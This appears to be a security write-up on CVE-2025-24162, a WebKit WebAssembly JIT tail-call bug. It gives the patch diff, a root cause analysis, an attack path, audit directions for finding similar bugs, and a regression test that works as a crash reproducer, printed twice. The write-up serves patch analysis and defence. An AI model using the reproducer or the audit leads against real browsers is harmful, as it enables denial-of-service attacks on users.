Released January 27, 2025

CVE-2025-24162

CVSS 6.5 severity medium CWE-125 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Overview

Impact:

Description: Processing maliciously crafted web content may lead to an unexpected process crash

Researchers: linjy of HKUS3Lab and chluo of WHUSecLab

Key insight. A tail call ends the frame permanently, so BBQ must drain (consume) the entire expression stack at that point; failing to release those register/slot bindings before the mandatory validation of the following unreachable code desynchronizes the allocator and crashes the JIT.

Patch Details

diff --git a/JSTests/wasm/stress/tail-call-should-consume-stack-in-bbq.js b/JSTests/wasm/stress/tail-call-should-consume-stack-in-bbq.js
new file mode 100644
index 000000000000..4a9d69e84d72
--- /dev/null
+++ b/JSTests/wasm/stress/tail-call-should-consume-stack-in-bbq.js
@@ -0,0 +1,151 @@
+/*
+(module
+    (tag $nonzero (param))
+    (tag $zero (param))
+
+    (type $i32-i32 (func (param i32) (result i32)))
+    (table $countdown-table funcref (elem $countdown-indirect))
+
+    (func $countdown (param i32) (result i32) (local f32)
+        f32.const 42
+        local.set 1
+
+        try
+            local.get 0
+            i32.const 0
+            i32.eq
+            if
+                throw $zero
+            else
+                throw $nonzero
+            end
+        catch $nonzero
+            local.get 0
+            local.get 0
+            i32.add
+
+            local.get 0
+            i32.const 1
+            i32.sub
+            return_call $countdown
+        catch_all
+        end
+
+        f32.const 0
+        local.get 1
+        f32.add
+        i32.trunc_f32_u
+    )
+
+    (func $countdown-indirect (param i32) (result i32) (local f32)
+        f32.const 42
+        local.set 1
+
+        try
+            local.get 0
+            i32.const 0
+            i32.eq
+            if
+                throw $zero
+            else
+                throw $nonzero
+            end
+        catch $nonzero
+            local.get 0
+            local.get 0
+            i32.add
+
+            local.get 0
+            i32.const 1
+            i32.sub
+            i32.const 0
+            return_call_indirect $countdown-table (type $i32-i32)
+        catch_all
+        end
+
+        f32.const 0
+        local.get 1
+        f32.add
+        i32.trunc_f32_u
+    )
+
+    (func $countdown-ref (param i32) (result i32) (local f32)
+        f32.const 42
+        local.set 1
+
+        try
+            local.get 0
+            i32.const 0
+            i32.eq
+            if
+                throw $zero
+            else
+                throw $nonzero
+            end
+        catch $nonzero
+            local.get 0
+            local.get 0
+            i32.add
+
+            local.get 0
+            i32.const 1
+            i32.sub
+            ref.func $countdown-ref
+            return_call_ref $i32-i32
+        catch_all
+        end
+
+        f32.const 0
+        local.get 1
+        f32.add
+        i32.trunc_f32_u
+    )
+
+    (func (export "main")
+        block
+            block
+                i32.const 100000
+                call $countdown
+                i32.const 42
+                i32.eq
+                br_if 0
+                unreachable
+            end
+            i32.const 100000
+            call $countdown-indirect
+            i32.const 42
+            i32.eq
+            br_if 0
+            unreachable
+        end
+        i32.const 100000
+        call $countdown-ref
+        i32.const 42
+        i32.eq
+        br_if 0
+        unreachable
+    )
+)
+*/
+
+var code = new Uint8Array([
+    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x09, 0x02, 0x60, 0x01, 0x7f, 0x01, 0x7f, 0x60, 0x00, 0x00,
+    0x03, 0x05, 0x04, 0x00, 0x00, 0x00, 0x01, 0x04, 0x05, 0x01, 0x70, 0x01, 0x01, 0x01, 0x0d, 0x05, 0x02, 0x00, 0x01,
+    0x00, 0x01, 0x07, 0x08, 0x01, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x03, 0x09, 0x0b, 0x02, 0x00, 0x41, 0x00, 0x0b,
+    0x01, 0x01, 0x03, 0x00, 0x01, 0x02, 0x0a, 0xdb, 0x01, 0x04, 0x36, 0x01, 0x01, 0x7d, 0x43, 0x00, 0x00, 0x28, 0x42,
+    0x21, 0x01, 0x06, 0x40, 0x20, 0x00, 0x41, 0x00, 0x46, 0x04, 0x40, 0x08, 0x01, 0x05, 0x08, 0x00, 0x0b, 0x00, 0x07,
+    0x00, 0x20, 0x00, 0x20, 0x00, 0x6a, 0x1a, 0x20, 0x00, 0x41, 0x01, 0x6b, 0x12, 0x00, 0x19, 0x01, 0x0b, 0x43, 0x00,
+    0x00, 0x00, 0x00, 0x20, 0x01, 0x92, 0xa9, 0x0b, 0x39, 0x01, 0x01, 0x7d, 0x43, 0x00, 0x00, 0x28, 0x42, 0x21, 0x01,
+    0x06, 0x40, 0x20, 0x00, 0x41, 0x00, 0x46, 0x04, 0x40, 0x08, 0x01, 0x05, 0x08, 0x00, 0x0b, 0x00, 0x07, 0x00, 0x20,
+    0x00, 0x20, 0x00, 0x6a, 0x1a, 0x20, 0x00, 0x41, 0x01, 0x6b, 0x41, 0x00, 0x13, 0x00, 0x00, 0x19, 0x01, 0x0b, 0x43,
+    0x00, 0x00, 0x00, 0x00, 0x20, 0x01, 0x92, 0xa9, 0x0b, 0x38, 0x01, 0x01, 0x7d, 0x43, 0x00, 0x00, 0x28, 0x42, 0x21,
+    0x01, 0x06, 0x40, 0x20, 0x00, 0x41, 0x00, 0x46, 0x04, 0x40, 0x08, 0x01, 0x05, 0x08, 0x00, 0x0b, 0x00, 0x07, 0x00,
+    0x20, 0x00, 0x20, 0x00, 0x6a, 0x1a, 0x20, 0x00, 0x41, 0x01, 0x6b, 0xd2, 0x02, 0x15, 0x00, 0x19, 0x01, 0x0b, 0x43,
+    0x00, 0x00, 0x00, 0x00, 0x20, 0x01, 0x92, 0xa9, 0x0b, 0x2f, 0x00, 0x02, 0x40, 0x02, 0x40, 0x02, 0x40, 0x41, 0xa0,
+    0x8d, 0x06, 0x10, 0x00, 0x41, 0x2a, 0x46, 0x0d, 0x00, 0x00, 0x0b, 0x41, 0xa0, 0x8d, 0x06, 0x10, 0x01, 0x41, 0x2a,
+    0x46, 0x0d, 0x00, 0x00, 0x0b, 0x41, 0xa0, 0x8d, 0x06, 0x10, 0x02, 0x41, 0x2a, 0x46, 0x0d, 0x00, 0x00, 0x0b, 0x0b
+]);
+
+var module = new WebAssembly.Module(code);
+var instance = new WebAssembly.Instance(module);
+instance.exports.main()
diff --git a/Source/JavaScriptCore/wasm/WasmBBQJIT.cpp b/Source/JavaScriptCore/wasm/WasmBBQJIT.cpp
index 7eaa5e9f9bfe..4b90d6952797 100644
--- a/Source/JavaScriptCore/wasm/WasmBBQJIT.cpp
+++ b/Source/JavaScriptCore/wasm/WasmBBQJIT.cpp
@@ -4092,7 +4092,6 @@ void BBQJIT::emitTailCall(unsigned functionIndex, const TypeDefinition& signatur
         else
             resolvedArguments.append(Value::pinned(arguments[i].type(), locationOf(arguments[i])));
 
-        // This isn't really needed but it's nice to have good book keeping.
         consume(arguments[i]);
     }
 
@@ -4146,6 +4145,13 @@ void BBQJIT::emitTailCall(unsigned functionIndex, const TypeDefinition& signatur
     }
 
     LOG_INSTRUCTION("ReturnCall", functionIndex, arguments);
+
+    // Because we're returning, we need to consume all elements of the
+    // expression stack here so they don't spuriously hold onto their bindings
+    // in the subsequent unreachable code.
+
+    for (const auto& value : m_parser->expressionStack())
+        consume(value);
 }
 
 
@@ -4338,6 +4344,13 @@ void BBQJIT::emitIndirectTailCall(const char* opcode, const Value& callee, GPRRe
 
     m_jit.farJump(calleeCode, WasmEntryPtrTag);
     LOG_INSTRUCTION(opcode, callee, arguments);
+
+    // Because we're returning, we need to consume all elements of the
+    // expression stack here so they don't spuriously hold onto their bindings
+    // in the subsequent unreachable code.
+
+    for (const auto& value : m_parser->expressionStack())
+        consume(value);
 }
 
 void BBQJIT::addRTTSlowPathJump(TypeIndex signature, GPRReg calleeRTT)

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2025-24162
Bugzilla 284159
Component WebKit
Bug Class LogicError
Severity medium
Commit ca83d835b014f07f…
Advisory Apple Advisory

Terminology

  • BBQ JIT — JavaScriptCore’s fast baseline WebAssembly compiler (‘Build Bytecode Quickly’) that generates machine code in a single pass while tracking each Wasm stack value’s storage location.
  • Tail call (return_call)* — WebAssembly instructions that transfer control to a callee reusing the current frame and never return, so all bytecode after them in the same function is unreachable.
  • Value binding / consume — In BBQ each stack Value owns a concrete register or stack slot; consume() releases that binding back to the register allocator when the value’s lifetime ends.
  • Expression stack — The parser/validator’s model of the current operand stack; BBQ mirrors it with allocator bindings that must stay consistent with the machine state.
  • Unreachable code — Instructions after an unconditional control transfer that can never execute but must still be validated (and are still walked by BBQ), where stale allocator state manifests as a crash.

Root Cause Analysis

The bug is in JavaScriptCore’s BBQ (Build Bytecode Quickly) tier of the WebAssembly JIT, specifically in BBQJIT::emitTailCall and BBQJIT::emitIndirectTailCall in Source/JavaScriptCore/wasm/WasmBBQJIT.cpp. In BBQ, every WebAssembly stack value is a Value object that owns a ‘binding’ to a concrete storage location (a specific GPR/FPR register or a stack slot), and the register allocator tracks those bindings; a value must be ‘consumed’ when its lifetime ends so its register/slot is released back to the allocator. A return_call / return_call_indirect / return_call_ref is a tail call: control never returns to the current frame, so all bytecode that textually follows it is unreachable. Before this patch, emitTailCall/emitIndirectTailCall emitted the far jump to the callee but did NOT consume the remaining entries of the parser’s expression stack (m_parser->expressionStack()). Those left-over Values kept their register/slot bindings alive across the tail call into the following unreachable region. When the validator/parser then processes that unreachable code (which WebAssembly still requires to be type-checked and which BBQ still walks), the stale bindings desynchronize the register allocator’s accounting from the actual expression-stack state, tripping a consistency assertion / RELEASE_ASSERT and crashing the process. The invariant violated is: at the point control leaves a frame for good, no expression-stack value may still hold a live binding into that frame’s register/slot file. The fix restores the invariant by iterating m_parser->expressionStack() after emitting the tail-call jump and calling consume(value) on every element, releasing all bindings so the subsequent unreachable code starts from a clean allocator state. The provided reproducer exercises exactly this: return_call, return_call_indirect and return_call_ref are each placed inside a catch handler where the expression stack still carries partially-computed values (an i32.add result plus a live f32 local), so entries remain on the expression stack at the tail-call site. The removed one-line comment (‘This isn’t really needed but it’s nice to have good book keeping’) on the pre-existing per-argument consume shows the author reasoning explicitly about consume/book-keeping while adding the missing full-stack drain.

Attack Path

1. Deliver a crafted Wasm module

Serve a web page that instantiates a small WebAssembly module via WebAssembly.Module/Instance, as the reproducer does with a hand-built Uint8Array of bytecode.

2. Arrange a non-empty expression stack at a tail call

Author functions that reach a return_call / return_call_indirect / return_call_ref while extra operands remain on the value stack — e.g. inside a catch handler after computing i32.add and keeping a live local, so the stack is not drained before the tail call.

3. Force BBQ compilation

Repeatedly invoke the exported ‘main’ (the reproducer counts down from 100000) so the tier-up path compiles the functions with the BBQ JIT rather than only the interpreter.

4. Trigger the desync

During BBQ codegen the tail-call site leaves stale register/slot bindings on the remaining expression-stack values; processing the following unreachable code hits a register-allocator consistency assertion.

5. Crash the WebContent process

The assertion/RELEASE_ASSERT aborts the process, producing the denial-of-service (unexpected process crash) described by the CVE.

Impact Assessment

The primitive is a consistency-assertion abort (register-allocator book-keeping desync), not a demonstrated memory-corruption write, so the realistic outcome is a controlled crash / denial of service rather than a path to RCE. It is confined to the WebContent (renderer) process where the Wasm JIT runs, inside the WebContent sandbox. Escalation potential is low: the diff shows only that bindings outlive their frame, which trips an internal invariant check; there is no evidence in the patch of attacker-controlled OOB read/write from this state. Standard exploitation background (heap grooming, corrupting adjacent objects to reach ACE) does not apply to what this commit establishes — it is a bookkeeping/DoS fix.

Audit Directions

Other terminal control ops in BBQ

In WasmBBQJIT.cpp audit every place that ends a frame or block with unreachable code following it — grep for ‘unreachable’, ‘farJump’, ‘return’, ’emit*Return’, ’emitTailCall’ — and verify each drains m_parser->expressionStack() with consume() rather than only consuming its own arguments.

consume() coverage vs expressionStack()

Grep BBQ for uses of ‘consume(’ and cross-check against ’m_parser->expressionStack()’ to find code paths that leave stack Values un-consumed at points where the allocator state must be reset.

Parallel bug in the OMG/Air tier

Check WasmOMGIRGenerator.cpp / the OMG tail-call emitters for the analogous requirement to release stack values or SP/registers at return_call sites; tail-call stack handling was a recurring 2025 defect class (see CVE-2025-43212).

return_call_ref and funcref paths

Focus on the newer return_call_ref / typed funcref tail-call handlers across tiers, since they are less exercised; look for tail-call helpers that emit a jump but omit a full expression-stack drain.

Changed Functions

Function File Change Note
BBQJIT::emitTailCall Source/JavaScriptCore/wasm/WasmBBQJIT.cpp modified After emitting the tail-call jump, added a loop over m_parser->expressionStack() calling consume(value) so no expression-stack value retains a live register/slot binding into the following unreachable code; also removed a stale comment on the per-argument consume.
BBQJIT::emitIndirectTailCall Source/JavaScriptCore/wasm/WasmBBQJIT.cpp modified Same fix applied for return_call_indirect / return_call_ref: after the farJump, consume every remaining expression-stack value to release bindings before unreachable code is processed.

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/JSTests/wasm/stress/tail-call-should-consume-stack-in-bbq.js b/JSTests/wasm/stress/tail-call-should-consume-stack-in-bbq.js
new file mode 100644
index 000000000000..4a9d69e84d72
--- /dev/null
+++ b/JSTests/wasm/stress/tail-call-should-consume-stack-in-bbq.js
@@ -0,0 +1,151 @@
+/*
+(module
+    (tag $nonzero (param))
+    (tag $zero (param))
+
+    (type $i32-i32 (func (param i32) (result i32)))
+    (table $countdown-table funcref (elem $countdown-indirect))
+
+    (func $countdown (param i32) (result i32) (local f32)
+        f32.const 42
+        local.set 1
+
+        try
+            local.get 0
+            i32.const 0
+            i32.eq
+            if
+                throw $zero
+            else
+                throw $nonzero
+            end
+        catch $nonzero
+            local.get 0
+            local.get 0
+            i32.add
+
+            local.get 0
+            i32.const 1
+            i32.sub
+            return_call $countdown
+        catch_all
+        end
+
+        f32.const 0
+        local.get 1
+        f32.add
+        i32.trunc_f32_u
+    )
+
+    (func $countdown-indirect (param i32) (result i32) (local f32)
+        f32.const 42
+        local.set 1
+
+        try
+            local.get 0
+            i32.const 0
+            i32.eq
+            if
+                throw $zero
+            else
+                throw $nonzero
+            end
+        catch $nonzero
+            local.get 0
+            local.get 0
+            i32.add
+
+            local.get 0
+            i32.const 1
+            i32.sub
+            i32.const 0
+            return_call_indirect $countdown-table (type $i32-i32)
+        catch_all
+        end
+
+        f32.const 0
+        local.get 1
+        f32.add
+        i32.trunc_f32_u
+    )
+
+    (func $countdown-ref (param i32) (result i32) (local f32)
+        f32.const 42
+        local.set 1
+
+        try
+            local.get 0
+            i32.const 0
+            i32.eq
+            if
+                throw $zero
+            else
+                throw $nonzero
+            end
+        catch $nonzero
+            local.get 0
+            local.get 0
+            i32.add
+
+            local.get 0
+            i32.const 1
+            i32.sub
+            ref.func $countdown-ref
+            return_call_ref $i32-i32
+        catch_all
+        end
+
+        f32.const 0
+        local.get 1
+        f32.add
+        i32.trunc_f32_u
+    )
+
+    (func (export "main")
+        block
+            block
+                i32.const 100000
+                call $countdown
+                i32.const 42
+                i32.eq
+                br_if 0
+                unreachable
+            end
+            i32.const 100000
+            call $countdown-indirect
+            i32.const 42
+            i32.eq
+            br_if 0
+            unreachable
+        end
+        i32.const 100000
+        call $countdown-ref
+        i32.const 42
+        i32.eq
+        br_if 0
+        unreachable
+    )
+)
+*/
+
+var code = new Uint8Array([
+    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x09, 0x02, 0x60, 0x01, 0x7f, 0x01, 0x7f, 0x60, 0x00, 0x00,
+    0x03, 0x05, 0x04, 0x00, 0x00, 0x00, 0x01, 0x04, 0x05, 0x01, 0x70, 0x01, 0x01, 0x01, 0x0d, 0x05, 0x02, 0x00, 0x01,
+    0x00, 0x01, 0x07, 0x08, 0x01, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x03, 0x09, 0x0b, 0x02, 0x00, 0x41, 0x00, 0x0b,
+    0x01, 0x01, 0x03, 0x00, 0x01, 0x02, 0x0a, 0xdb, 0x01, 0x04, 0x36, 0x01, 0x01, 0x7d, 0x43, 0x00, 0x00, 0x28, 0x42,
+    0x21, 0x01, 0x06, 0x40, 0x20, 0x00, 0x41, 0x00, 0x46, 0x04, 0x40, 0x08, 0x01, 0x05, 0x08, 0x00, 0x0b, 0x00, 0x07,
+    0x00, 0x20, 0x00, 0x20, 0x00, 0x6a, 0x1a, 0x20, 0x00, 0x41, 0x01, 0x6b, 0x12, 0x00, 0x19, 0x01, 0x0b, 0x43, 0x00,
+    0x00, 0x00, 0x00, 0x20, 0x01, 0x92, 0xa9, 0x0b, 0x39, 0x01, 0x01, 0x7d, 0x43, 0x00, 0x00, 0x28, 0x42, 0x21, 0x01,
+    0x06, 0x40, 0x20, 0x00, 0x41, 0x00, 0x46, 0x04, 0x40, 0x08, 0x01, 0x05, 0x08, 0x00, 0x0b, 0x00, 0x07, 0x00, 0x20,
+    0x00, 0x20, 0x00, 0x6a, 0x1a, 0x20, 0x00, 0x41, 0x01, 0x6b, 0x41, 0x00, 0x13, 0x00, 0x00, 0x19, 0x01, 0x0b, 0x43,
+    0x00, 0x00, 0x00, 0x00, 0x20, 0x01, 0x92, 0xa9, 0x0b, 0x38, 0x01, 0x01, 0x7d, 0x43, 0x00, 0x00, 0x28, 0x42, 0x21,
+    0x01, 0x06, 0x40, 0x20, 0x00, 0x41, 0x00, 0x46, 0x04, 0x40, 0x08, 0x01, 0x05, 0x08, 0x00, 0x0b, 0x00, 0x07, 0x00,
+    0x20, 0x00, 0x20, 0x00, 0x6a, 0x1a, 0x20, 0x00, 0x41, 0x01, 0x6b, 0xd2, 0x02, 0x15, 0x00, 0x19, 0x01, 0x0b, 0x43,
+    0x00, 0x00, 0x00, 0x00, 0x20, 0x01, 0x92, 0xa9, 0x0b, 0x2f, 0x00, 0x02, 0x40, 0x02, 0x40, 0x02, 0x40, 0x41, 0xa0,
+    0x8d, 0x06, 0x10, 0x00, 0x41, 0x2a, 0x46, 0x0d, 0x00, 0x00, 0x0b, 0x41, 0xa0, 0x8d, 0x06, 0x10, 0x01, 0x41, 0x2a,
+    0x46, 0x0d, 0x00, 0x00, 0x0b, 0x41, 0xa0, 0x8d, 0x06, 0x10, 0x02, 0x41, 0x2a, 0x46, 0x0d, 0x00, 0x00, 0x0b, 0x0b
+]);
+
+var module = new WebAssembly.Module(code);
+var instance = new WebAssembly.Instance(module);
+instance.exports.main()